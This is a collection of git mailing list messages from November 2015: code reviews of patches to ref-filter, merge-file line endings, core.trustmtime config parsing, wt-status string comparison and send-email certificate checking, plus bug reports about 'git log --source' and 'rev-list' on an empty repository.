I plan on filling that in upcoming patches. Probably, should mention that in
the commit message.

>> Signed-off-by: Karthik Nayak 
>> ---
>> diff --git a/ref-filter.c b/ref-filter.c
>> @@ -19,42 +19,43 @@ typedef enum { FIELD_STR, FIELD_ULONG, FIELD_TIME } 
>> cmp_type;
>>  static struct {
>> const char *name;
>> cmp_type cmp_type;
>> +   void (*parser)(struct used_atom *atom);
>
> Compiler diagnostic:
>
> warning: declaration of 'struct used_atom' will not be
> visible outside of this function [-Wvisibility]
>
> Indeed, it seems rather odd to introduce the new field in this patch
> but never actually do anything with it. It's difficult to understand
> the intention.
>

This is to make way for upcoming patches. But the compiler error is
accurate used_atom only becomes a structure in the next patch.
Should change that.

-- 
Regards,
Karthik Nayak
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC] rename detection: allow more renames

2015-11-25 Thread Andreas Krey

Hi Jeff,

thanks for the reply!

On Tue, 24 Nov 2015 18:33:28 +, Jeff King wrote:
...
> I didn't dig in the archive, but I think we discussed the "just show
> progress for destinations" before. The problem you run into is that the
> items aren't a good indication of the amount of work. You really are
> doing n*m work, so if you just count "m", it can be very misleading if
> "n" is high (and vice versa).

True, but the loops do progress indication for destinations only anyway.
So if you only have three destinations and a zillion sources, you
will still get only three progress updates, even if they say
'one zillion (33%)', 'two zillion (67%)', ...

I think as long as this is the case we can as well report the destination
count; maybe put the source count somewhere in the progress text.

> Might it make more sense just to move to a larger integer size?

Which would be? I'd venture into the progress code to identify
the necessary changes.

> Or
> perhaps to allow a higher limit for each side as long as the product of
> the sides does not overflow?

We're somewhat close to getting there. The rename detection runs
for several minutes in our cases.

Andreas

-- 
"Totally trivial. Famous last words."
From: Linus Torvalds 
Date: Fri, 22 Jan 2010 07:29:21 -0800
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH] merge-file: consider core.crlf when writing merge markers

2015-11-25 Thread Johannes Schindelin

Hi Beat,

On Tue, 24 Nov 2015, Beat Bolli wrote:

> On 24.11.15 23:43, Beat Bolli wrote:
> > On 24.11.15 09:21, Johannes Schindelin wrote:
> >>
> >> On Mon, 23 Nov 2015, Beat Bolli wrote:
> >>
> >>> When merging files in repos with core.eol = crlf, git merge-file
> >>> inserts just a LF at the end of the merge markers. Files with mixed
> >>> line endings cause trouble in Windows editors and e.g.
> >>> contrib/git-jump, where an unmerged file in a run of "git jump
> >>> merge" is reported as simply "binary file matches".
> >>
> >> Wow, what a beautiful contribution!
> >>
> >> I wonder how difficult it would be to make this work with
> >> gitattributes, i.e. when .gitattributes' `eol` setting disagrees with
> >> core.eol.
> > 
> > I have implemented this according to your algorithm. Now, I have to
> > set core.autocrlf to true for making the new test pass. Setting
> > core.eol no longer has an effect on the merge markers. Is this
> > expected? (I haven't set any attributes)
> 

No, this is not expected. I guess that I was a bit careless in my
suggestion (it was just a sketch, after all, not a full implementation):

> enum eol eol_for_path(const char *path, const char *src, size_t len)
> {
> struct conv_attrs ca;
> struct text_stat stats;
> 
> convert_attrs(&ca, path);
> if (output_eol(ca.crlf_action) != EOL_CRLF)
> return EOL_LF;

At this point, output_eol(ca.crlf_action) would be EOL_UNSET, I guess, in
which case we would have to consult core_eol, of course. So it is not
enough to test for EOL_CRLF but we really need to test for EOL_CRLF,
EOL_LF and EOL_UNSET explicitly (I would use a switch() statement and use
a default: rule instead of handling EOL_UNSET specifically).

Ciao,
Dscho
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC/PATCH] config: add core.trustmtime

Hi Johannes,

On Wed, Nov 25, 2015 at 11:25 AM, Johannes Schindelin
 wrote:
> Hi Christian,
>
> On Wed, 25 Nov 2015, Christian Couder wrote:
>
>> diff --git a/config.c b/config.c
>> index 248a21a..d720b1f 100644
>> --- a/config.c
>> +++ b/config.c
>> @@ -691,6 +691,13 @@ static int git_default_core_config(const char *var, 
>> const char *value)
>>   trust_ctime = git_config_bool(var, value);
>>   return 0;
>>   }
>> + if (!strcmp(var, "core.trustmtime")) {
>> + if (!strcasecmp(value, "default") || !strcasecmp(value, 
>> "check"))
>> + trust_mtime = -1;
>> + else
>> + trust_mtime = git_config_maybe_bool(var, value);
>
> If `core.trustmtime` is set to `OMG, never!`, `git_config_maybe_bool()`
> will set trust_mtime to -1, i.e. the exact same value as if you had set
> the variable to `default` or `check`...

Yeah, I think returning -1 is the safe thing to do in this case.

> Maybe you want to be a bit stricter here and either test the return value
> of `git_config_maybe_bool()` for -1 (and warn in that case), or just
> delete the `maybe_`?

I thought that if we ever add more options in the future then people
might be annoyed by older git versions warning about the new options.
But I am ok to add a warning.

Thanks,
Christian.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [RFC/PATCH] config: add core.trustmtime

2015-11-25 Thread Johannes Schindelin

Hi Christian,

On Wed, 25 Nov 2015, Christian Couder wrote:

> diff --git a/config.c b/config.c
> index 248a21a..d720b1f 100644
> --- a/config.c
> +++ b/config.c
> @@ -691,6 +691,13 @@ static int git_default_core_config(const char *var, 
> const char *value)
>   trust_ctime = git_config_bool(var, value);
>   return 0;
>   }
> + if (!strcmp(var, "core.trustmtime")) {
> + if (!strcasecmp(value, "default") || !strcasecmp(value, 
> "check"))
> + trust_mtime = -1;
> + else
> + trust_mtime = git_config_maybe_bool(var, value);

If `core.trustmtime` is set to `OMG, never!`, `git_config_maybe_bool()`
will set trust_mtime to -1, i.e. the exact same value as if you had set
the variable to `default` or `check`...

Maybe you want to be a bit stricter here and either test the return value
of `git_config_maybe_bool()` for -1 (and warn in that case), or just
delete the `maybe_`?

Ciao,
Dscho
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH] wt-status: use strncmp() for length-limited string comparison

2015-11-25 Thread Matthieu Moy

Jeff King  writes:

>> diff --git a/wt-status.c b/wt-status.c
>> index 435fc28..96a731e 100644
>> --- a/wt-status.c
>> +++ b/wt-status.c
>> @@ -1317,14 +1317,14 @@ static int grab_1st_switch(unsigned char *osha1, 
>> unsigned char *nsha1,
>>  target += strlen(" to ");
>>  strbuf_reset(&cb->buf);
>>  hashcpy(cb->nsha1, nsha1);
>> -for (end = target; *end && *end != '\n'; end++)
>> -;
>> -if (!memcmp(target, "HEAD", end - target)) {
>> +if (skip_prefix(target, "HEAD", &end) && (!*end || *end == '\n')) {
>>  /* HEAD is relative. Resolve it to the right reflog entry. */
>>  strbuf_addstr(&cb->buf,
>>find_unique_abbrev(nsha1, DEFAULT_ABBREV));
>>  return 1;
>>  }
>
> Yeah, I think parsing left-to-right like this makes things much more
> obvious.

Agreed.

>> +for (end = target; *end && *end != '\n'; end++)
>> +;
>
> This loop (which I know you just moved, not wrote) is basically
> strchrnul, isn't it? That might be more readable.

Agreed too.

-- 
Matthieu Moy
http://www-verimag.imag.fr/~moy/
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

'git log --source' seems to fail to show ref name after the first tag comes out.

2015-11-25 Thread Raymundo

Hello,

At first, I'm sorry I'm not good at English.


When I execute this command:

git log --oneline --source --all --decorate

I get the output below: (I replaced commit messages written in Korean
with "COMMIT MSG")

295c670 refs/heads/gyparkwiki_base (gyparkwiki_base) COMMIT MSG
c130d61 refs/heads/master (HEAD -> master, origin/master, origin/HEAD)
version 2.27a
6f6f40c refs/heads/gyparkwiki (gyparkwiki) COMMIT MSG
...
a37772f refs/heads/gyparkwiki COMMIT MSG
afeaa51 refs/heads/gyparkwiki COMMIT MSG
af2676e  (tag: last_CVS_utf) COMMIT MSG   <- ref name is not shown
from this line
b4d27c9  COMMIT MSG
4f834f8  COMMIT MSG
...
7534d49  COMMIT MSG
e5c8a6c  *** empty log message ***
596aa3e refs/tags/urlprefix (tag: urlprefix) COMMIT MSG  <- ref name
appears again from this line
8fc4de3 refs/tags/urlprefix COMMIT MSG
...
a0b587 refs/tags/urlprefix COMMIT MSG
f8526f9 refs/tags/urlprefix COMMIT MSG
277478b  (tag: last_CVS_testwiki) COMMIT MSG <- ref name disappear
again from this line
65919c8  *** empty log message ***
...

As you can see, ref names in the second column repeats to disappear
and come back, at every lines that contain tags.

I tested using Git version 2.6.3

For reference, Git version 1.7.9.rc0 does not have this problem. It
shows ref names on all lines well.


Maybe is this a bug?

Thank you.
G.Y.Park from South Korea
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH v2] send-email: die if CA path doesn't exist

On Wed, Nov 25, 2015 at 10:19:09AM +, John Keeping wrote:

> > > Changes since v1:
> > > - add missing path to error message
> > > - remove trailing '.' on error message since die appends "at
> > >   /path/to/git-send-email line ..."
> > 
> > It won't if the error message ends with a newline. We seem to be wildly
> > inconsistent about that in send-email, though.
> 
> Interesting.  I think in this case it would definitely be better to add
> the newline and avoid printing the location in the script, but it may
> make more sense to have a separate pass over git-send-email.perl and fix
> all of the die() calls.
> 
> I suspect that everything except the equivalent of BUG() should be
> suppressing the location in a user-facing script like this.

Yeah, I think I'd agree. Your patch is merged to next, so we'd want a
separate patch to fix. And I agree that a whole pass over the script
probably makes sense.

In past projects I have also used a $SIG{__DIE__} handler to massage
errors into a nicer format, but it unfortunately gets pretty deep into
Perl voodoo.

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH v2] send-email: die if CA path doesn't exist

2015-11-25 Thread John Keeping

On Tue, Nov 24, 2015 at 06:35:36PM -0500, Jeff King wrote:
> On Tue, Nov 24, 2015 at 11:31:40PM +, John Keeping wrote:
> 
> > If the CA path isn't found it's most likely to indicate a
> > misconfiguration, in which case accepting any certificate is unlikely to
> > be the correct thing to do.
> 
> Thanks.
> 
> > Changes since v1:
> > - add missing path to error message
> > - remove trailing '.' on error message since die appends "at
> >   /path/to/git-send-email line ..."
> 
> It won't if the error message ends with a newline. We seem to be wildly
> inconsistent about that in send-email, though.

Interesting.  I think in this case it would definitely be better to add
the newline and avoid printing the location in the script, but it may
make more sense to have a separate pass over git-send-email.perl and fix
all of the die() calls.

I suspect that everything except the equivalent of BUG() should be
suppressing the location in a user-facing script like this.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: What's cooking in git.git (Nov 2015, #04; Tue, 24)

On Wed, Nov 25, 2015 at 10:13:42AM +, John Keeping wrote:

> On Tue, Nov 24, 2015 at 08:07:23PM -0500, Jeff King wrote:
> > * jk/send-email-ssl-errors (2015-11-24) 1 commit
> >  - send-email: enable SSL level 1 debug output
> > 
> >  Improve error reporting when SMTP TLS fails.
> > 
> >  Will merge to 'next'.
> 
> Can you hold off on this one?  I think my last-minute change not to
> switch on --smtp-debug has introduced a Perl warning that needs to be
> suppressed.

Sure. Thanks for letting me know.

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: What's cooking in git.git (Nov 2015, #04; Tue, 24)

2015-11-25 Thread John Keeping

On Tue, Nov 24, 2015 at 08:07:23PM -0500, Jeff King wrote:
> * jk/send-email-ssl-errors (2015-11-24) 1 commit
>  - send-email: enable SSL level 1 debug output
> 
>  Improve error reporting when SMTP TLS fails.
> 
>  Will merge to 'next'.

Can you hold off on this one?  I think my last-minute change not to
switch on --smtp-debug has introduced a Perl warning that needs to be
suppressed.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH v4] Documentation/git-update-index: add missing opts to synopsis

Split index related options should appear in the 'SYNOPSIS'
section.

These options are already documented in the 'OPTIONS' section.

Signed-off-by: Christian Couder 
---
This v4 contains only the split-index options and applies on top
of the new master that already contains the untracked-cache options. 

 Documentation/git-update-index.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Documentation/git-update-index.txt 
b/Documentation/git-update-index.txt
index 3df9c26..f4e5a85 100644
--- a/Documentation/git-update-index.txt
+++ b/Documentation/git-update-index.txt
@@ -17,6 +17,7 @@ SYNOPSIS
 [--[no-]assume-unchanged]
 [--[no-]skip-worktree]
 [--ignore-submodules]
+[--[no-]split-index]
 [--[no-|force-]untracked-cache]
 [--really-refresh] [--unresolve] [--again | -g]
 [--info-only] [--index-info]
-- 
2.6.3.380.g494b52d

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH] wt-status: use strncmp() for length-limited string comparison

On Wed, Nov 25, 2015 at 03:16:49AM +0100, René Scharfe wrote:

> > Hmm. I think this is mostly harmless, as a comparison like:
> > 
> >memcmp("HEAD and more", "HEAD", strlen("HEAD"))
> [...]
> 
> Yes, except it should be strlen("HEAD and more") in your example code;
> with strlen("HEAD") it would compare just 4 bytes and return 0.

Whoops, yeah. Thank you for figuring out what I meant. :)

> Using one more variable isn't that bad, as long as it gets a fitting
> name.  Or we could reuse "end" (I'm not worrying about scanning "HEAD"
> twice very much):
> 
> diff --git a/wt-status.c b/wt-status.c
> index 435fc28..96a731e 100644
> --- a/wt-status.c
> +++ b/wt-status.c
> @@ -1317,14 +1317,14 @@ static int grab_1st_switch(unsigned char *osha1, 
> unsigned char *nsha1,
>   target += strlen(" to ");
>   strbuf_reset(&cb->buf);
>   hashcpy(cb->nsha1, nsha1);
> - for (end = target; *end && *end != '\n'; end++)
> - ;
> - if (!memcmp(target, "HEAD", end - target)) {
> + if (skip_prefix(target, "HEAD", &end) && (!*end || *end == '\n')) {
>   /* HEAD is relative. Resolve it to the right reflog entry. */
>   strbuf_addstr(&cb->buf,
> find_unique_abbrev(nsha1, DEFAULT_ABBREV));
>   return 1;
>   }

Yeah, I think parsing left-to-right like this makes things much more
obvious. And regarding scanning HEAD twice, I think we already do that
(we find the trailing newline first in the current code). Though I agree
that is absurd premature optimization.

> + for (end = target; *end && *end != '\n'; end++)
> + ;

This loop (which I know you just moved, not wrote) is basically
strchrnul, isn't it? That might be more readable.

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH v2] Documentation/git-update-index: add missing opts to synopsys

On Wed, Nov 25, 2015 at 10:03 AM, Jeff King  wrote:
> On Wed, Nov 25, 2015 at 07:53:12AM +0100, Christian Couder wrote:
>
>> Untracked cache and split index related options should appear
>> in the 'SYNOPSIS' section.
>>
>> These options are already documented in the 'OPTIONS' section.
>>
>> Signed-off-by: Christian Couder 
>> ---
>> Soon after sending the first version I realized that the split index
>> options were not in the synopsys either...
>
> Sorry, too late. I merged v1 as part of yesterday's cycle, as it seemed
> obviously correct (that's what I get... :) ).
>
> Can you please send the change as a patch on top?

Ok will do.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH v1] git rev-list doesn't complain when repo is empty

On Tue, Nov 24, 2015 at 11:00:53PM -0800, atous...@gmail.com wrote:

> From: Atousa Pahlevan Duprat 
> 
> Signed-off-by: Atousa Pahlevan Duprat 
> ---
>  builtin/rev-list.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/builtin/rev-list.c b/builtin/rev-list.c
> index d80d1ed..f71b87f 100644
> --- a/builtin/rev-list.c
> +++ b/builtin/rev-list.c
> @@ -348,7 +348,7 @@ int cmd_rev_list(int argc, const char **argv, const char 
> *prefix)
>(!(revs.tag_objects || revs.tree_objects || revs.blob_objects) &&
> !revs.pending.nr)) ||
>   revs.diff)
> - usage(rev_list_usage);
> +   return 0; // empty repo

Even if we were to agree that rev-list should exit with code 0 for "git
rev-list --all" in an empty repo, I do not think this patch is the right
way to do it. It also catches:

  git rev-list

with no arguments in a non-empty repository, which should produce a
usage() message.

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Suspected bug on `git -C rev-list --all` where has 0 commits

On Tue, Nov 24, 2015 at 10:56:50PM -0800, Atousa Duprat wrote:

> I agree with Yac that this error is unwarranted, though it's been like
> that since forever.
> If a repo is empty, git rev-list should probably just return without
> erroring out.
> The fix is trivial, if the list agrees that this is in fact legit.

I think we had a similar discussion for "git log" with an empty HEAD,
and decided that it was better to keep the behavior the same for
compatibility reasons. I think that would apply doubly for rev-list,
which is used by scripts.

In the "log" case, we did improve the error message:

  $ git init
  $ git.v2.5.0 log
  fatal: bad default revision 'HEAD'
  $ git.v2.6.3 log
  fatal: your current branch 'master' does not have any commits yet

Maybe a good first step would be improving the error message?

-Peff
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH v2] Documentation/git-update-index: add missing opts to synopsys